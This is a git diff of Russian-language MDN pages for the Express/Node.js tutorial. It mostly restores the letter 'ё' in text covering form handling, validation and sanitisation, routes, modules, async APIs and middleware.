        Обработка форм использует все те же методы, которые мы изучили для отображения информации о наших моделях: маршрут отправляет запрос в функцию контроллера, которая выполняет все необходимые действия с базой данных, включая чтение данных из моделей, а затем генерирует и возвращает HTML-страницу. Что усложняет ситуацию, так это то, что сервер также должен иметь возможность обрабатывать данные, предоставленные пользователем, и повторно отображать форму с информацией об ошибках, если есть какие-либо проблемы.
        
 
-
        Блок-схема процесса обработки запросов формы показана ниже, начиная с запроса страницы, содержащей форму (показана зеленым цветом):
        
+
        Блок-схема процесса обработки запросов формы показана ниже, начиная с запроса страницы, содержащей форму (показана зелёным цветом):
        
 
 
        
 
@@ -79,7 +79,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
 
          
  
        1. Отображение формы по умолчанию при первом запросе пользователем.
   
            
-   
          • Форма может содержать пустые поля (например, если вы создаете новую запись), или она может быть предварительно заполнена начальными значениями (например, если вы изменяете запись или имеете полезные начальные значения по умолчанию).
            • 
+   
          • Форма может содержать пустые поля (например, если вы создаёте новую запись), или она может быть предварительно заполнена начальными значениями (например, если вы изменяете запись или имеете полезные начальные значения по умолчанию).
            • 
   
          
  
          2. 
  
        2. Получение данных, отправленных пользователем, обычно в запросе HTTP POST.
          3. 
@@ -98,7 +98,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
 
          Перед сохранением данных формы их необходимо проверить и очистить:
          
 
 
            
- 
          • Проверка проверяет, что введенные значения являются подходящими для каждого поля (расположены в правильном диапазоне, формат и т. д.) и что значения были предоставлены для всех обязательных полей.
            • 
+ 
          • Проверка проверяет, что введённые значения являются подходящими для каждого поля (расположены в правильном диапазоне, формат и т. д.) и что значения были предоставлены для всех обязательных полей.
            • 
  
          • Очистка удаляет / заменяет символы в данных, которые потенциально могут использоваться для отправки вредоносного содержимого на сервер.
            • 
 
          
 
@@ -128,7 +128,7 @@ const { sanitizeBody } = require('express-validator/filter');
 
          Функции определяются следующим образом:
          
 
 
            
- 
          • body(fields[, message]): Задает набор полей в теле запроса (параметр POST) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом body(). Например, первая проверка ниже проверяет, что поле" имя "не пустое и задает сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку.
+ 
          • body(fields[, message]): Задаёт набор полей в теле запроса (параметр POST) для проверки, а также необязательное сообщение об ошибке, которое может отображаться в случае сбоя тестов. Критерии проверки последовательно связаны с методом body(). Например, первая проверка ниже проверяет, что поле" имя "не пустое и задаёт сообщение об ошибке" пустое имя", если оно не пустое. Второй тест проверяет, что поле age является допустимой датой, и с помощью optional() указывает, что пустые и пустые строки не пройдут проверку.
 
   
            body('name', 'Empty name').isLength({ min: 1 }),
 body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(),
@@ -143,7 +143,7 @@ body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(),
   
            Note: Вы также можете добавить встроенные средства очистки, такие как trim(), как показано выше. Однако средства очистки, применяемые здесь, применяются только к шагу проверки. Если требуется очистить конечный результат, необходимо использовать отдельный метод очистки, как показано ниже.
            
   
        
  
- 
      • sanitizeBody(fields): Задает поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки escape(), описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript.
+ 
      • sanitizeBody(fields): Задаёт поле тела для очистки. затем операции очистки последовательно соединяются с этим методом. Например, операция очистки escape(), описанная ниже, удаляет символы HTML из переменной name, которые могут использоваться в атаках сценариев между сайтами JavaScript.
   
        sanitizeBody('name').trim().escape(),
 sanitizeBody('date').toDate(),
        
  
        • 
@@ -172,8 +172,8 @@ sanitizeBody('date').toDate(),
 
        Многие модели в библиотеке связаны / зависимы—например, книга требует автора, а также может иметь один или несколько жанров. Это поднимает вопрос о том, как мы должны обрабатывать случай, когда пользователь хочет:
        
 
 
          
- 
        • Создайте объект, если связанные с ним объекты еще не существуют (например, книга, в которой не определен объект автора).
          • 
- 
        • Удаление объекта, который все еще используется другим объектом (например, удаление жанра, который все еще используется книгой).
          • 
+ 
        • Создайте объект, если связанные с ним объекты ещё не существуют (например, книга, в которой не определён объект автора).
          • 
+ 
        • Удаление объекта, который все ещё используется другим объектом (например, удаление жанра, который все ещё используется книгой).
          • 
 
        
 
 
        Для этого проекта мы упростили реализацию, объявив, что форма может быть только:
        
@@ -184,12 +184,12 @@ sanitizeBody('date').toDate(),
 
 
 
        
-
        Note: Более" надежная " реализация может позволить создавать зависимые объекты при создании нового объекта и удалять любой объект в любое время (например, путем удаления зависимых объектов или путем удаления ссылок на удаленный объект из базы данных).
        
+
        Note: Более" надёжная " реализация может позволить создавать зависимые объекты при создании нового объекта и удалять любой объект в любое время (например, путём удаления зависимых объектов или путём удаления ссылок на удалённый объект из базы данных).
        
 
        
 
 
        Маршруты
        
 
-
        Чтобы реализовать наш код обработки форм, нам понадобятся два маршрута с одинаковым шаблоном URL. Первый (GET) маршрут используется для отображения новой пустой формы создания объекта. Второй маршрут (POST) используется для проверки введенных пользователем данных, а затем сохранения информации и перенаправления на страницу сведений (если данные верны) или повторного отображения формы с ошибками (если данные неверны).
        
+
        Чтобы реализовать наш код обработки форм, нам понадобятся два маршрута с одинаковым шаблоном URL. Первый (GET) маршрут используется для отображения новой пустой формы создания объекта. Второй маршрут (POST) используется для проверки введённых пользователем данных, а затем сохранения информации и перенаправления на страницу сведений (если данные верны) или повторного отображения формы с ошибками (если данные неверны).
        
 
 
        Мы уже создали маршруты для всех страниц создания нашей модели в  /routes/catalog.js (in a previous tutorial).  Например, жанровые маршруты показаны ниже:
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
index ba6d79d71d..374c4a2590 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/update_book_form/index.html
@@ -44,7 +44,7 @@ exports.book_update_get };        
 
-
        Контроллер получит id Book книги для обновления из параметра URL (req.params.id). Он использует метод async.parallel()чтобы получить указанную запись Book (заполнение полей жанра и автора) и список всех объектов Author и Genre. Когда все операции завершены, он помечает выбранные жанры как отмеченные, а затем отображает их в book_form.pug, передает переменные itle, book, всех authors, и всеgenres.
        
+
        Контроллер получит id Book книги для обновления из параметра URL (req.params.id). Он использует метод async.parallel()чтобы получить указанную запись Book (заполнение полей жанра и автора) и список всех объектов Author и Genre. Когда все операции завершены, он помечает выбранные жанры как отмеченные, а затем отображает их в book_form.pug, передаёт переменные itle, book, всех authors, и всеgenres.
        
 
 
        Controller—post route
        
 
@@ -128,7 +128,7 @@ exports.book_update_post }
 ];
 
-
        Это очень похоже на маршрут записи, используемый при создании Book. Сперва мы проверяем и очищаем данные книги  и используем их для создание нового объекта Book(устанавливая его значение _id в идентификатор объекта для обновления). Если есть ошибки, когда мы проверяем данные, то мы повторно представляем форму, дополнительно отображая данные, введенные пользователем, ошибки, а также списки жанров и авторов. Если ошибок нет, то мы вызываем Book.findByIdAndUpdate() для обновления документа Book, а затем перенаправить на страницу сведений.
        
+
        Это очень похоже на маршрут записи, используемый при создании Book. Сперва мы проверяем и очищаем данные книги  и используем их для создание нового объекта Book(устанавливая его значение _id в идентификатор объекта для обновления). Если есть ошибки, когда мы проверяем данные, то мы повторно представляем форму, дополнительно отображая данные, введённые пользователем, ошибки, а также списки жанров и авторов. Если ошибок нет, то мы вызываем Book.findByIdAndUpdate() для обновления документа Book, а затем перенаправить на страницу сведений.
        
 
 
        View
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/index.html b/files/ru/learn/server-side/express_nodejs/index.html
index 48a631f4c3..21c9909faa 100644
--- a/files/ru/learn/server-side/express_nodejs/index.html
+++ b/files/ru/learn/server-side/express_nodejs/index.html
@@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs
 
 
        
  
        Введение в Express/Node
        
- 
        В первой статье об Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?" и дадим вам представление о том, что делает веб-фреймворк Express особенным. Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложений Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать).
        
+ 
        В первой статье об Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?" и дадим вам представление о том, что делает веб-фреймворк Express особенным. Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложений Express (хотя на данный момент у вас ещё нет среды разработки, в которой можно её протестировать).
        
  
        Настройка среды разработки Node (Express)
        
  
        
  
        Теперь, когда вы знаете, что такое Express, мы покажем вам, как настроить и протестировать среду разработки Node/Express в Windows, Linux (Ubuntu) и Mac OS X. Независимо от того, какую популярную операционную систему вы используете, эта статья даст вам то, что вам нужно, чтобы начать разработку приложений Express.
        
@@ -46,18 +46,18 @@ translation_of: Learn/Server-side/Express_Nodejs
  
        Учебник Express часть 4: Маршруты и контроллеры
        
  
        В этом уроке мы создадим маршруты (код обработки URL) с "фиктивным" обработчиком функций для всех конечных точек ресурсов, которые нам в конечном итоге понадобятся для сайта LocalLibrary. По завершении мы будем иметь модульную структуру нашего кода обработки маршрута, который мы можем расширить с помощью функций реального обработчика в следующих статьях. Мы также будем очень хорошо понимать, как создавать модульные маршруты, используя Express.
        
  
        Учебник Express часть 5: Отображение данных библиотеки
        
- 
        Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта LocalLibrary и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельную страницу для детального просмотра записи. По пути мы получим практический опыт в получении записей из баз данных и использовании шаблонов.
        
+ 
        Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта LocalLibrary и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определённого типа мы имеем и отдельную страницу для детального просмотра записи. По пути мы получим практический опыт в получении записей из баз данных и использовании шаблонов.
        
  
        Учебник Express часть 6: Работы с формами
        
  
        В этой части мы покажем вам, как работать с HTML формами в Express, используя Pug, и в частности, как создавать, обновлять и удалять документы из базы данных.
        
  
        Учебник Express часть 7: Выкладка в production
        
- 
        Теперь когда вы создали восхитительный сайт LocalLibrary, вы захотите установить его на общедоступном сервере, чтобы он мог дать доступ персоналу библиотеки и пользователям в Интернет. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего сайта и что вам нужно сделать, чтобы подготовить ваш сайт к публикации.
        
+ 
        Теперь когда вы создали восхитительный сайт LocalLibrary, вы захотите установить его на общедоступном сервере, чтобы он мог дать доступ персоналу библиотеки и пользователям в Интернет. В этой статье представлен обзор того, как вы можете найти хост для развёртывания вашего сайта и что вам нужно сделать, чтобы подготовить ваш сайт к публикации.
        
 
        
 
 
        Смотрите также
        
 
 
        
  
        Установка LocalLibrary на PWS/Cloud Foundry
        
- 
        В этой статье представлена практическая демонстрация того, как установить LocalLibrary на облаке Pivotal Web Services PaaS — это полнофункциональная альтернатива с открытым исходным кодом для Heroku, облачного сервиса PaaS  используемого в части 7 этого учебника, представленного выше. PWS/Cloud Foundry определенно стоит попробовать, если вы ищете альтернативу Heroku (или другому PaaS облачному сервису), или просто хотите попробовать что-то другое.
        
+ 
        В этой статье представлена практическая демонстрация того, как установить LocalLibrary на облаке Pivotal Web Services PaaS — это полнофункциональная альтернатива с открытым исходным кодом для Heroku, облачного сервиса PaaS  используемого в части 7 этого учебника, представленного выше. PWS/Cloud Foundry определённо стоит попробовать, если вы ищете альтернативу Heroku (или другому PaaS облачному сервису), или просто хотите попробовать что-то другое.
        
 
        
 
 
        Изучите другие учебники
        
diff --git a/files/ru/learn/server-side/express_nodejs/introduction/index.html b/files/ru/learn/server-side/express_nodejs/introduction/index.html
index 96f5db6121..36bf2f9eb9 100644
--- a/files/ru/learn/server-side/express_nodejs/introduction/index.html
+++ b/files/ru/learn/server-side/express_nodejs/introduction/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
 ---
 
        {{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}
        
 
-
        В этой первой статье по Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?", и сделаем обзор того, что делает веб-фреймворк Express таким особенным. Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложения Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать).
        
+
        В этой первой статье по Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?", и сделаем обзор того, что делает веб-фреймворк Express таким особенным. Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложения Express (хотя на данный момент у вас ещё нет среды разработки, в которой можно её протестировать).
        
 
 
        
  
        
@@ -27,10 +27,10 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
 
        С точки зрения веб-серверной разработки Node имеет ряд преимуществ:
        
 
 
          
- 
        • Отличная производительность! Node был разработан для оптимизации пропускной способности и масштабируемости в веб-приложениях и очень хорошо справляется со многими распространенными проблемами веб-разработки (например, веб-приложения реального времени).
          • 
+ 
        • Отличная производительность! Node был разработан для оптимизации пропускной способности и масштабируемости в веб-приложениях и очень хорошо справляется со многими распространёнными проблемами веб-разработки (например, веб-приложения реального времени).
          • 
  
        • Код написан на «обычном старом JavaScript», а это означает, что затрачивается меньше времени при написании кода для браузера и веб-сервера связанное с  «переключением технологий» между языками.
          • 
  
        • JavaScript является относительно новым языком программирования и имеет преимущества от улучшения дизайна языка по сравнению с другими традиционными языками для веб-серверов (например, Python, PHP, и т.д.). Многие другие новые и популярные языки компилируются/конвертируются в JavaScript, поэтому вы можете также использовать CoffeeScript, ClosureScript, Scala, LiveScript, etc.
          • 
- 
        • Менеджер пакетов Node (NPM) обеспечивает доступ к сотням тысяч многоразовых пакетов. Он также имеет лучшее в своем классе разрешение зависимостей и может также использоваться для автоматизации большинства инструментов построения.
          • 
+ 
        • Менеджер пакетов Node (NPM) обеспечивает доступ к сотням тысяч многоразовых пакетов. Он также имеет лучшее в своём классе разрешение зависимостей и может также использоваться для автоматизации большинства инструментов построения.
          • 
  
        • Он портативен, имеет версии для  Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, и NonStop OS. Кроме того, он имеет хорошую поддержку среди многих хостинг-провайдеров, которые часто предоставляют конкретную инфраструктуру и документацию для размещения сайтов, работающих на Node.
          • 
  
        • Он имеет очень активную стороннюю экосистему и сообщество разработчиков, которые всегда готовы помочь.
          • 
 
        
@@ -43,7 +43,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
 
 
          
  
        1. Откройте терминал (в Windows окно командной строки)
          2. 
- 
        2. Создайте папку, куда вы хотите сохранить программу, к примеру test-node и перейдите в нее с помощью следующей команды:
          3. 
+ 
        3. Создайте папку, куда вы хотите сохранить программу, к примеру test-node и перейдите в неё с помощью следующей команды:
          4. 
 
        
 
 
        cd test-node
        
@@ -58,7 +58,7 @@ const http = require("http");
 const hostname = "127.0.0.1";
 const port = 8000;
 
-// Создаем HTTP-сервер
+// Создаём HTTP-сервер
 const server = http.createServer((req, res) => {
 
    // Устанавливаем HTTP-заголовок ответа с HTTP статусом и Content type
@@ -114,7 +114,7 @@ server.listen(port, hostname, () => {
 
 
        Популярность веб-фреймворка важна, поскольку она является индикатором того, будет ли она продолжаться, и какие ресурсы, вероятно, будут доступны с точки зрения документации, дополнительных библиотек и технической поддержки.
        
 
-
        Не существует какого-либо доступного и точного измерения популярности серверных фреймворков (хотя сайты, такие как Hot Frameworks, пытаются оценить популярность, используя такие механизмы, как подсчет количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос заключается в том, достаточно ли популярны Node и Express, чтобы избежать проблем с непопулярными платформами. Они продолжают развиваться? Можете ли вы получить помощь, если вам это нужно? Есть ли у вас возможность получить оплачиваемую работу, если вы изучаете Express?
        
+
        Не существует какого-либо доступного и точного измерения популярности серверных фреймворков (хотя сайты, такие как Hot Frameworks, пытаются оценить популярность, используя такие механизмы, как подсчёт количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос заключается в том, достаточно ли популярны Node и Express, чтобы избежать проблем с непопулярными платформами. Они продолжают развиваться? Можете ли вы получить помощь, если вам это нужно? Есть ли у вас возможность получить оплачиваемую работу, если вы изучаете Express?
        
 
 
        Как только мы посмотрим на список широкоизвестных компаний пользующихся Express, количество разработчиков участвующих в разработке Express, и громадному числу людей, которые занимаются поддержкой Express, то мы с уверенностью скажем -  Express поистине популярный фреймворк!
        
 
@@ -122,7 +122,7 @@ server.listen(port, hostname, () => {
 
 
        Web-фреймворки часто принято делить на "ограничивающие" и "не ограничивающие".
        
 
-
        Ограничивающими фреймворки считаются фреймворки, которые следуют "должным" ограничениям при выполнении отдельных задач. Довольно часто они ориентированы на ускоренную разработку в конкретной области  (решение задач определенного типа), поскольку должный подход  к произвольно выбранной задаче бывает не прост для понимания и плохо документирован. При этом они лишаются гибкости при решении задач выходящих за сферу их обычного применения, а так же проявляют тенденцию к ограничению выбора компонентов и подходов своего применения. 
        
+
        Ограничивающими фреймворки считаются фреймворки, которые следуют "должным" ограничениям при выполнении отдельных задач. Довольно часто они ориентированы на ускоренную разработку в конкретной области  (решение задач определённого типа), поскольку должный подход  к произвольно выбранной задаче бывает не прост для понимания и плохо документирован. При этом они лишаются гибкости при решении задач выходящих за сферу их обычного применения, а так же проявляют тенденцию к ограничению выбора компонентов и подходов своего применения. 
        
 
 
        Напротив, не ограничивающие фреймворки имеют гораздо меньше ограничений для связи компонентов, что бы достичь цели или ограничений в выборе используемых компонентов. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, но платой за это будет то, что вы самостоятельно должны найти такие компоненты.
        
 
@@ -130,7 +130,7 @@ server.listen(port, hostname, () => {
 
 
        Как выглядит код Express?
        
 
-
        В традиционных динамических веб-сайтах, веб-приложение ожидает HTTP-запроса от веб-браузера (или другого клиента). Когда запрос получен, приложение определяет, какое действие необходимо выполнить на основе URL шаблона и, возможно, связанной информации, содержащейся в данных POST или GET. В зависимости от того, что требуется, Express может затем читать или записывать данные из/в базы данных или выполнять другие задачи, в соответствии с полученным запросом. Затем приложение возвращает ответ в веб-браузер, зачастую динамически создавая HTML страницу для отображения браузером, вставляя извлеченные данные в заполнители HTML шаблона.
        
+
        В традиционных динамических веб-сайтах, веб-приложение ожидает HTTP-запроса от веб-браузера (или другого клиента). Когда запрос получен, приложение определяет, какое действие необходимо выполнить на основе URL шаблона и, возможно, связанной информации, содержащейся в данных POST или GET. В зависимости от того, что требуется, Express может затем читать или записывать данные из/в базы данных или выполнять другие задачи, в соответствии с полученным запросом. Затем приложение возвращает ответ в веб-браузер, зачастую динамически создавая HTML страницу для отображения браузером, вставляя извлечённые данные в заполнители HTML шаблона.
        
 
 
        Express предоставляет методы позволяющие указать, какая функция вызывается для конкретного HTTP запроса (GET, POST, SET, etc.), и URL шаблон ("Route"), а также методы позволяющие указать, какой механизм шаблона ("view") используется, где находятся шаблоны файлов и какой шаблон использовать для вывода ответа. Вы можете использовать Express middleware для добавления поддержки файлов cookies, сеансов, и пользователей, получения POST/GET параметров, и т.д. Вы можете использовать любой механизм базы данных, поддерживаемый Node (Express не определяет поведение, связанное с базой данных).
        
 
@@ -158,15 +158,15 @@ app.listen(3000, function() {
 
 
        Первые две строки требуют () (импорт) модуля Express и создания приложения Express. Этот объект, который традиционно называется app, имеет методы для маршрутизации HTTP-запросов, настройки промежуточного программного обеспечения, рендеринга представлений HTML, регистрации механизма шаблонов и изменения параметров приложения, которые управляют поведением приложения (например, режим среды, чувствительны ли определения маршрута к регистру). , и т.д.)
        
 
-
        Средняя часть кода (три строки, начинающиеся с app.get) показывает определение маршрута. Метод app.get () указывает колбэк-функцию, которая будет вызываться всякий раз, когда есть HTTP-запрос GET с путем ('/') относительно корня сайта. Колбэк-функция принимает запрос и объект ответа в качестве аргументов и просто вызывает send () для ответа, чтобы вернуть строку «Hello World!»
        
+
        Средняя часть кода (три строки, начинающиеся с app.get) показывает определение маршрута. Метод app.get () указывает колбэк-функцию, которая будет вызываться всякий раз, когда есть HTTP-запрос GET с путём ('/') относительно корня сайта. Колбэк-функция принимает запрос и объект ответа в качестве аргументов и просто вызывает send () для ответа, чтобы вернуть строку «Hello World!»
        
 
-
        Последний блок запускает сервер через порт «3000» и печатает комментарий журнала в консоль. Когда сервер работает, вы можете перейти к localhost: 3000 в вашем браузере, чтобы увидеть возвращенный пример ответа.
        
+
        Последний блок запускает сервер через порт «3000» и печатает комментарий журнала в консоль. Когда сервер работает, вы можете перейти к localhost: 3000 в вашем браузере, чтобы увидеть возвращённый пример ответа.
        
 
 
        Импорт и создание модулей
        
 
 
        Модуль - это библиотека / файл JavaScript, который вы можете импортировать в другой код с помощью функции require () Node. Express сам по себе является модулем, как и промежуточное программное обеспечение и библиотеки баз данных, которые мы используем в наших приложениях Express.
        
  
        
- Приведенный ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express. Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращенный объект для создания приложения Express. Затем мы можем получить доступ к свойствам и функциям объекта приложения.
        
+ Приведённый ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express. Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращённый объект для создания приложения Express. Затем мы можем получить доступ к свойствам и функциям объекта приложения.
        
 
 
        var express = require('express');
 var app = express();
@@ -175,7 +175,7 @@ var app = express();
 
        Вы также можете создавать свои собственные модули, которые можно импортировать таким же образом.
        
 
 
        
-
        Совет: вы захотите создать свои собственные модули, потому что это позволяет вам организовать ваш код в управляемые части - монолитное однофайловое приложение трудно понять и поддерживать. Использование модулей также помогает вам управлять пространством имен, поскольку при использовании модуля импортируются только те переменные, которые вы явно экспортировали.
        
+
        Совет: вы захотите создать свои собственные модули, потому что это позволяет вам организовать ваш код в управляемые части - монолитное однофайловое приложение трудно понять и поддерживать. Использование модулей также помогает вам управлять пространством имён, поскольку при использовании модуля импортируются только те переменные, которые вы явно экспортировали.
        
 
        
 
 
        Чтобы сделать объекты доступными вне модуля, вам просто нужно назначить их объекту экспорта. Например, модуль square.js ниже представляет собой файл, который экспортирует методы area () и perimeter ():
        
@@ -216,7 +216,7 @@ console.log('The area of a square with a width of 4 is ' + square.area(4));
        
 
-
        В отличие от этого, асинхронный API - это тот, в котором API начнет операцию и сразу же вернется (до завершения операции). После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций. Например, приведенный ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.
        
+
        В отличие от этого, асинхронный API - это тот, в котором API начнёт операцию и сразу же вернётся (до завершения операции). После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций. Например, приведённый ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.
        
 
 
        setTimeout(function() {
    console.log('First');
@@ -224,9 +224,9 @@ console.log('Second');
 console.log('Second');
 
        
 
-
        Использование неблокирующих асинхронных API-интерфейсов еще более важно в Node, чем в браузере, поскольку Node - это однопоточная среда выполнения, управляемая событиями. «Однопоточный» означает, что все запросы к серверу выполняются в одном потоке (а не порождаются в отдельных процессах). Эта модель чрезвычайно эффективна с точки зрения скорости и ресурсов сервера, но это означает, что если любая из ваших функций вызывает синхронные методы, выполнение которых занимает много времени, они будут блокировать не только текущий запрос, но и любой другой запрос, обрабатываемый ваше веб-приложение.
        
+
        Использование неблокирующих асинхронных API-интерфейсов ещё более важно в Node, чем в браузере, поскольку Node - это однопоточная среда выполнения, управляемая событиями. «Однопоточный» означает, что все запросы к серверу выполняются в одном потоке (а не порождаются в отдельных процессах). Эта модель чрезвычайно эффективна с точки зрения скорости и ресурсов сервера, но это означает, что если любая из ваших функций вызывает синхронные методы, выполнение которых занимает много времени, они будут блокировать не только текущий запрос, но и любой другой запрос, обрабатываемый ваше веб-приложение.
        
  
        
- Есть несколько способов, которыми асинхронный API уведомляет ваше приложение о том, что оно завершено. Наиболее распространенный способ - зарегистрировать колбэк-функцию при вызове асинхронного API, который будет вызываться после завершения операции. Это подход, использованный выше.
        
+ Есть несколько способов, которыми асинхронный API уведомляет ваше приложение о том, что оно завершено. Наиболее распространённый способ - зарегистрировать колбэк-функцию при вызове асинхронного API, который будет вызываться после завершения операции. Это подход, использованный выше.
        
 
 
        
 
        Совет: Использование колбэков может быть довольно «грязным», если у вас есть последовательность зависимых асинхронных операций, которые должны выполняться по порядку, потому что это приводит к нескольким уровням вложенных колбэков. Эта проблема широко известна как «ад колбэков». Эту проблему можно решить с помощью хороших методов кодирования (см. Http://callbackhell.com/), использования такого модуля, как async, или даже перехода к функциям ES6, таким как Promises.
        
@@ -253,16 +253,16 @@ console.log('Second');
 
 
        Объект приложения Express также предоставляет методы для определения обработчиков маршрутов для всех других HTTP-глаголов, которые в основном используются одинаково: post (), put (), delete (), options (), trace (), copy ( ), lock (), mkcol (), move (), purge (), propfind (), proppatch (), unlock (), report (), mkactivity (), checkout (), merge ( ), m-search (), notify (), subscribe (), unsubscribe (), patch (), search () и connect ().
        
 
-
        Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP. Это используется для загрузки функций промежуточного программного обеспечения по определенному пути для всех методов запроса. В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).
        
+
        Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP. Это используется для загрузки функций промежуточного программного обеспечения по определённому пути для всех методов запроса. В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).
        
 
 
        app.all('/secret', function(req, res, next) {
   console.log('Accessing the secret section ...');
   next(); // pass control to the next handler
 });
        
 
-
        Маршруты позволяют сопоставлять определенные шаблоны символов в URL-адресе, извлекать некоторые значения из URL-адреса и передавать их в качестве параметров обработчику маршрута (в качестве атрибутов объекта запроса, передаваемого в качестве параметра).
        
+
        Маршруты позволяют сопоставлять определённые шаблоны символов в URL-адресе, извлекать некоторые значения из URL-адреса и передавать их в качестве параметров обработчику маршрута (в качестве атрибутов объекта запроса, передаваемого в качестве параметра).
        
  
        
- Часто полезно группировать обработчики маршрутов для определенной части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута из / вики /). В Express это достигается с помощью объекта express.Router. Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:
        
+ Часто полезно группировать обработчики маршрутов для определённой части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута из / вики /). В Express это достигается с помощью объекта express.Router. Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:
        
 
 
        // wiki.js - Wiki route module
 
@@ -304,7 +304,7 @@ app.use('/wiki', wiki);
        
 
 
        Большинство приложений используют стороннее промежуточное программное обеспечение для упрощения общих задач веб-разработки, таких как работа с файлами cookie, сессиями, аутентификацией пользователя, доступом к данным запросов POST и JSON, ведение журнала и т. д. Список пакетов промежуточного программного обеспечения, поддерживаемых командой Express, можно найти. (который также включает в себя другие популярные сторонние пакеты). Другие экспресс-пакеты доступны в диспетчере пакетов NPM.
        
  
        
- Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в свое приложение с помощью NPM. Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:
        
+ Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в своё приложение с помощью NPM. Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:
        
 
 
        $ npm install morgan
 
        
@@ -321,11 +321,11 @@ var app = express();
 
        Примечание. Промежуточное программное обеспечение и функции маршрутизации вызываются в том порядке, в котором они были объявлены. Для некоторого промежуточного программного обеспечения важен порядок (например, если промежуточное программное обеспечение сеанса зависит от промежуточного программного обеспечения cookie, то сначала должен быть добавлен обработчик cookie). Почти всегда случается так, что промежуточное ПО вызывается перед настройкой маршрутов, иначе ваши обработчики маршрутов не будут иметь доступа к функциям, добавленным вашим промежуточным ПО.
        
 
        
 
-
        Вы можете написать свои собственные функции промежуточного программного обеспечения, и вам, вероятно, придется это сделать (хотя бы для создания кода обработки ошибок). Единственное различие между функцией промежуточного программного обеспечения и обратным вызовом обработчика маршрута состоит в том, что функции промежуточного программного обеспечения имеют третий аргумент, следующий: какие функции промежуточного программного обеспечения должны вызываться, если они не завершают цикл запроса (когда вызывается функция промежуточного программного обеспечения, она содержит следующую функцию). это надо называть).
        
+
        Вы можете написать свои собственные функции промежуточного программного обеспечения, и вам, вероятно, придётся это сделать (хотя бы для создания кода обработки ошибок). Единственное различие между функцией промежуточного программного обеспечения и обратным вызовом обработчика маршрута состоит в том, что функции промежуточного программного обеспечения имеют третий аргумент, следующий: какие функции промежуточного программного обеспечения должны вызываться, если они не завершают цикл запроса (когда вызывается функция промежуточного программного обеспечения, она содержит следующую функцию). это надо называть).
        
 
-
        Вы можете добавить функцию промежуточного программного обеспечения в цепочку обработки с помощью app.use () или app.add (), в зависимости от того, хотите ли вы применить промежуточное программное обеспечение ко всем ответам или к ответам с определенным глаголом HTTP (GET, POST и т. д.). ). Маршруты задаются одинаково в обоих случаях, хотя маршрут необязателен при вызове app.use ().
        
+
